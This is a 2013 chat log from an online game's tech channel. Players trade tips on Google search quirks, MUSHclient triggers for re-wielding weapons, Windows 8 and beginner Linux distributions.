T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Sometimes, it'll be a word I heard instead of read, so I might mangle the spelling pretty badly.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: bing?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Still makes no sense that Google just straight up won't give you any suggestions nowadays if you mangle a search too badly.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: bing works better for solving ms related problems :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: it's probably that speed search crap
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yuna: It still does, for the most part. My "plagiarism" example, I just did "plagurusm", and it said, "Showing results for plagiarism" :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: they had to limit suggestions so it didn't cripple there end
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: google still gives me suggestions
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: My mom's one of those bad Internet surfers who accidentally installs a lot of add-ons. She's set Bing to her default search engine. It's horrible. I always struggle to manually have to enter Google into the search field instead of just entering my search term into the address field (Chrome user).
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You can change that, you know.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: I didn't say Google no longer gives suggestions. Just that if you're just a touch too off, it won't.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: But she keeps changing it back!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: struggle?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, because plagurusm is so close... :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: (Without meaning to)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i have more issues disabling google garbage
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Hell, even palagirism brought up plagiarism.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: plagpurusm = Google will search for plagiarism. plagwurusm = Google will search for plagiarism. plagpurusm = no hits, but Google will SUGGEST you search for plagiarism.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: I'm sure if I go through enough mangling, Google will just straight up not suggest anything.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yes, but if you're mangling it that bad, then you obviously misheard the word or misread it.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Google's not a full-blown mind reader.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Apparently, Google is racist towards Swedes. plagäurusm didn't even bring up a suggestion.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: plagiärism likewise brings up no hits and no suggestions.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: try using a search engine specifically geared toward words...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: So it's just a question of finding the "right" letter to mispell in the right spot.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Additinally, you can try speaking your word. ;)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: yeah you know there's more search engines than just google and bing right?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Oh, Google suggested I meant "Additionally, you can try speaking your word. ;)"
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: I'm not saying they're evil for doing this. I'm just questioning why they needed to tighten their parameters so much that they'll just straight up not give you any suggestions if you're too "off" now.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Mokg Tech: but theres only one good search engine. google
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: What the... Altavista still exists?!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: yuna my guess would be server performance
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yuna: Adding in special characters isn't them tightening up their parameters. It's them thinking, "who in their right mind would use a non-English character on an English version of the site?"
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: goggle prides itself on having the fastest servers on the internet
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Except last year, plagiärism would've searched for plagiarism. That's just me finding the quickest way to "beat" their new system.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: I'd hope that yuna was using google.se
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Or rather, a non-English character in an English word. :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: I didn't feel like going through all mispellings of plagiarism using only English characters to find one without an ä.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Using plagiärism on google.se didn't bring up suggestions, but showed plagiarism in bold. ;)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: That's extremely weird, because: https://www.google.se/search?q=plagurusm&oq=plagurusm&aqs=chrome.0.57l2j60j5j60l2.1577&sourceid=chrome&ie=UTF-8#hl=en&sugexp=les%3B&gs_rn=1&gs_ri=serp&tok=Xp-VvIFHX-ZkFu1DsBxnHQ&pq=plagiarism&cp=6&gs_id=9&xhr=t&q=plagi%C3%A4rism&pf=p&safe=off&sclient=psy-ab&oq=plagi%C3%A4rism&gs_l=&pbx=1&bav=on.2,or.r_gc.r_pw.r_cp.r_qf.&fp=5096cd71f09fc1eb&biw=1194&bih=894
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: pretty much the only reason intel and amd still make a single core cpu is because google refuses to buy dual cores
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: That's me. On Google.se. Getting nothing on plagiarism when Googling "plagiärism".
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quelz Tech: this is an aggravating discussion
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: https://www.google.se/#hl=sv&tbo=d&output=search&sclient=psy-ab&q=plagi%C3%A4rism&oq=plagi%C3%A4rism&gs_l=hp.3...1253.1253.0.2181.1.1.0.0.0.0.79.79.1.1.0...0.0...1c.1.zI8o_Fj0H1Q&pbx=1&bav=on.2,or.r_gc.r_pw.r_qf.&bvm=bv.1357700187,d.cGE&fp=e157e8dfb2e39304&biw=1366&bih=653
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: That's my end, Yuna.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: my eyes!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli snickers softly.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: That's a.. very strange search.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}ElFeneri Tech: my phone!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Especially since when I deleted the R and then re-added it, it went back to no hits, no suggestions.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli sits down and thinks deeply. 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Guess Google hates you.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Deleting r and putting it back in worked for me.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I got the same results.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Guess Google works differently depending on where your IP is from, even if you're using a regional search engine.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: ixquick ftw
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: And the mystery that is Google lives on.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: lets you use google without the need for a google account
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Summoner Yuna Tech: Pretty sure you don't need a Google account to use Google...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: By the way, what do you all think about Zuckerberg's bold move to allow you to send a message directly to his inbox for $100.00?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: you do if you want to turn the search filter off normally
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You don't.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: You just have to reset it each time.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: turnsafesearchoff works too :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: what're you talking about santher?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: last time i tried to turn off safe search in google settings it said i needed an account
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: safesearch has been defaulting to off for me for the past week or two, and it has never required any login to turn it off
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: not once has it told me that, ever
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Book of Etzli nods at you in agreement. 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: and I likes me a non-safe search
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: how do i even turn it off these days?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: same way as ever, just use the drop-down or go to settings
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: doesn't want to let me change it...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: click the gears, go to search settings
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: did that
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: and the "filter explicit results" checkbox?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: let me try in IE
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: there's no checkbox on my page
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: yeah same in IE... i can see the 3 options but no way to change them
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: 3 options? I only have "filter explicit results" related to safesearch...I've just done it in chrome and IE
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Go to Images then, see if the safe search box is there.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i'll try signing in...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: you're not accessing it from a Korean IP, are ya?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: I see the settings on my end. :p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: signing in didn't work either...
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: sounds like someone's locked you out :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: you're not on an institution's computer are ya?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: image paged worked
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: and no
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: google plays very well with content filters
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: probablt just my privacy settings
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: if you set them high google stop working
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: i have mine on medium high
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: I'm at medium
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Santher Tech: nods that's probably it then
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: can anyone teach me how to setup triggers
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ixle Tech: Well, first you'll need to tell us which client you're using.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: im getting tired of getting disarmed and not noticing
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: im using mushclient on the PC
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Mokg Tech: #trigger {string} {what you do}
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ixle Tech: http://www.gammon.com.au/mushclient/triggers.htm
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: thanks, [string] being the text that comes up on screen to trigger the... trigger
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Mokg Tech: yes
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: sweet
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: would this work... "trigger 'sends your * flying' 'take *'" would that work?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: No.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Using Mush? finger bast, get the rewielder
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: . * is a wildcard for matching, it won't sub the second * for the string.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: oh, is there any way to copy a string?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Yeah
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: You'd use.. %1 for the first * I believe
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: I'm a bit shakey on mush though. still in zmud land
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: so it'd be like sends * flying! then get %1
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: then have another trigger to take your weapon again
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: ?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Nar.. it'd all be one trigger
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Trigger on the disarm, then get %1, wield %1
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: and is there a way to remove triggers
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Nod. easily
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: how so
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: highlight and click the remove button.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: ok so im practicing with a trigger that just picks up whatever i drop, (trigger = 'You drop *' send = 'get %1') but when i drop something it includes a fullstop as part of the objects name
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: is there anyway of removing the end character from the string
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: trigger 'You drop *.'
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: Daloran hugs Vakieh.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: it still says that i dont see that here
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: you added the . to the trigger text?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ixle Tech: Do you have echocom on? That will help you debug the problem
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: The short desc of an item need not be keywords of an item
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ixle Tech: You might be using multiple keywords in an incorrect way.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: like im dropping a pair of thief leggins and it says, you don't see a pair of thief leggings here.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Can you "get thief leggings" and have it work?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: So "a big red sword" will not be correct to send "get a big red sword" - the keyword may well only be 'sword'
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: not all items can be referred to that way
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: oh dammit
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: This is why bast's rewielder is so powerful - it runs on id numbers linked to short descs, no need to worry about keywords
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: Vak... Are the id numbers explosed when you're disarmed? Or does it store them somewhere beforehand
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: They are recorded by Bast through the use of invmon et al
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: gotcha.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: invmon or invnom
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: invmon
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: help invmon
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Don't go there... a good 4 or 5 levels above where you're at
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: So.. presumable disarm triggers invmon action 1
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: but action 1 refers to if it was worn
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: but i guess wielding is the same
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: ignore previous comment
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: That'd be my guess. But yeah, Like Vak says, its quite a jump from just making a trigger, to making one with some logic and invmon.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: lol yea, how do you get triggers to have  two outputs its just the semicolon right/
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: right*
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: so how do i put invmon action 1 in a trigger output
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Did you not read what was said? You are not at a level where you can do that, stop before you get frustrated with it all.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: You would have to use a scripting language, including regex, to pull the required data and act upon it - just use Bast's ready made solution
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: yea but i learn from messing around with stuff. i dont mind if it doesnt work. but i will probably ask too many questions and piss everyone off, so where can i find bast's thingie
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: In his boxers, I'd wager.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: autowielder
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: finger bast, the www link is there
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: If you want to learn, start here: http://mushclient.com/forum/bbshowpost.php?id=6030
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: And here: http://lua-users.org/wiki/LuaTutorial
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: ok something simple then, how do i make it change the color of text that says i got disarmed
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Eat the text, and regurgitate it - will require scripting again, via the world.ColourNote function
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Please, please start with the tutorials?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: actually ill just make it send myself a tell. simple and will come up after the fight. Thank you for your time. Good night everyone.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ashiya Tech: easiest thing is just to make a trigger and a gt with all caps that you're disarmed if you miss it
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ashiya Tech: or a big fat echo
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Daloran Tech: well the EASIEST thing is probably just to watch for it and catch it when it happens... or just let it go =p
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: lol thanks guise
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vakieh Tech: Nav to bast's page, download, add plugin, fin. Perfect solution to all your ills
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Ixle Tech: Did anyone just suggest buying some bracers yet? But seriously, go read tutorials then play around, then read some more, then get stumped and come back with questions.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Narhtan Tech: its all good guys, ive just made it send me a tell when i get disarmed. then after the fight  YOU HAVE BEEN DISARMED!!!  will come up
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Henriken Tech: what would the line be to trigger when a gq starts?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: http://www.aardwolf.com/wiki/index.php/Main/MudMessages#G
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Any PHP SoapClient guru's around?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: So it's reading in the WSDL, but I'm thinking the WSDL isn't pointing correctly (even though it appears to be)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: mischan
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Agilulf Tech: if I wanted to make an trigger  in MUSHclient for being disarmed will * DISARMS you and sends your * flying! work?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Yes
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: But you can't wield %2, you'll have to keep track of your current weapon in a variable
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Agilulf Tech: For now It's be get all, wield dagger
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: Due to the fact you can't wield 'axe of aardwolf' or anything that's not just called axe or something.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Agilulf Tech: Just wanted to make sure the asterix was the wildcard, not reall good at this
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I made an alias called setweap * that does SetVariable('pweapon', "%1"), then in rearm triggers you'd do: weapon=GetVariable('pweapon') Execute("get "..weapon.."
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: I made an alias called setweap * that does SetVariable('pweapon', "%1"), then in rearm triggers you'd do: weapon=GetVariable('pweapon') Execute("get "..weapon..";wear "..weapon)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: forgot to double my semicolons :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Agilulf Tech: That seems a bit complicated for me but thanks
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's more of a preference thing. I don't want to pick up all the trash in-room when I get my weapon back.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: You'll also need to add a second trigger for aard weapons, as they don't go in room, they just disarm to your inventory and have a different message.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Agilulf Tech: Nod, I understand thanks again
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sobeit Tech: okay so i type who and everytime the mud disconnects me, any ideas on why?  I am using the mushclient
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: pagesize 400
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Your connection doesn't like to be spammed with 300 lines of input.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: It's just too much for the buffer/you connection to handle. If you set a pagesize, the mud will paginate it to save you the trouble.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Whatever you do, do not type 'note list' on Ideas board.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: or slist
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sobeit Tech: slist works fine
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Book of Etzli Tech: Yeah, but pagesize 400 is too big... considering there's not that many people online.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: slist doesn't disconnect you but who does?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sobeit Tech: how do i change it
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sobeit Tech: yes
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: pagesize 200
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Big Meaty Cheezburger Tech: just type that and hit enter
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Sobeit Tech: thanks guys that worked
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Cody Tech: how do i get the bast eqdg window to open again, its not showing anymore
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Cody Tech: eq db*
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quadrapus Tech: anyone migrate to windows 8? like it?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Don't Bore Xyndor Tech: i configured a windows 8 pc the other day, seemed cool.  i would upgrade if given the option.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}SuperJayT Tech: I have windows 8 on my laptop and am considering installing ubuntu on it.. I am not a huge fan of the OS.  No real reason why, just doesnt fit with me. 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Dat Eutychus Tech: I like opensuse.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}SuperJayT Tech: I've never installed linux, or really played around with it.  I went to this beginner to liinux faq.  #1 was .. If you have to ask what distro you need, install ubuntu.  
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Dat Eutychus Tech: Opensuse isn't so bad for beginners. Easy to install.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Dat Eutychus Tech: Backtrack is fun to mess around with as well.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: i would just do ubuntu and see if you like it. it is the most user friendly
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tofting Tech: -12
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: finger tofting
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vorpal Vorpes Tech: well i outed myself there didn't i
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: SuperJayT snickers softly.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tofting Tech: go for it!
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quadrapus Tech: can anyone confirm that mush works on win8?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Turie Tech: Quadrupus: It will not with RT since it does not run legacy programs.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Quadrapus Tech: but desktop is ok?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: i've heard people mention that they use it on 8
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: and who cares about rt? there are  maybe 10 people using it
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: what's RT?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: arm version of windows 8
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Seltsimees Dagnir Tech: that means it won't run x86 programs
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Doink Tech: GFs old Emachine... went on stand by mode.. doesnt seem to respond. Besides hard booting it, any ideas?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: can't really do anything if it's not going to respond.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanslanda Tech: hardboot it, and maybe either in bios or in windows control panel turn off/adjust the powersaving stuff.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Gloindren Tech: hard boot and shut sleep mode or standby mode off.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Doink Tech: cool tks
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Mye Tech: sounds like what my computer was doing when it's power supply was shot -- it would go into power saver and not come out.. sometimes it would have trouble booting but was fine if it was able to fully boot (but failed to fully boot often)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Gloindren Tech: Anyone using Aardmush.  is it possible to get the stats window to show at a more horizontal view insead of the verticle way it's initially setup?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Turie Tech: Right click and look in the menus.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Gloindren Tech: Thanks..I'm a dork.  Gotta remember how much time and thought went into setting this thing up. I appreciate it.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Flach Tech: Ok, in aard mushclient, what is the syntax to be used to allow an alias to accept an argument (in this case, a target)
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Vale Tech: *
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Heisenburger Tech: cool. didn't know that was possible
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Flach Tech: Errrrrr, dont believe that works.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish blinks innocently.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sighs.
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Arnica Tech: use * in the alias, refer to the variable as %1, and you can use multiple
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: it does, assuming you're not using a regular expression for your alias
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: http://www.mushclient.com/forum/?id=8084
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Flach Tech: +1 brain points to fiendish for pointing me to a place :P
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: (lua) there's no metamethod for the # operator, is there?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: __len
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: ooh, really?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: didn't see that documented anywhere... is that new in 5.2?
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Tech: The Jerk Fiendish sits down and thinks deeply. 
T3/r7/2013-01-14.txt.gz:{chan ch=tech}Hanali Celanil Tech: oh, it's only for userdata though, not tables :(
T3/r7/2013-01-14.txt.gz:{chan ch=tech}The Jerk Fiendish Tech: what are you actually trying to do?
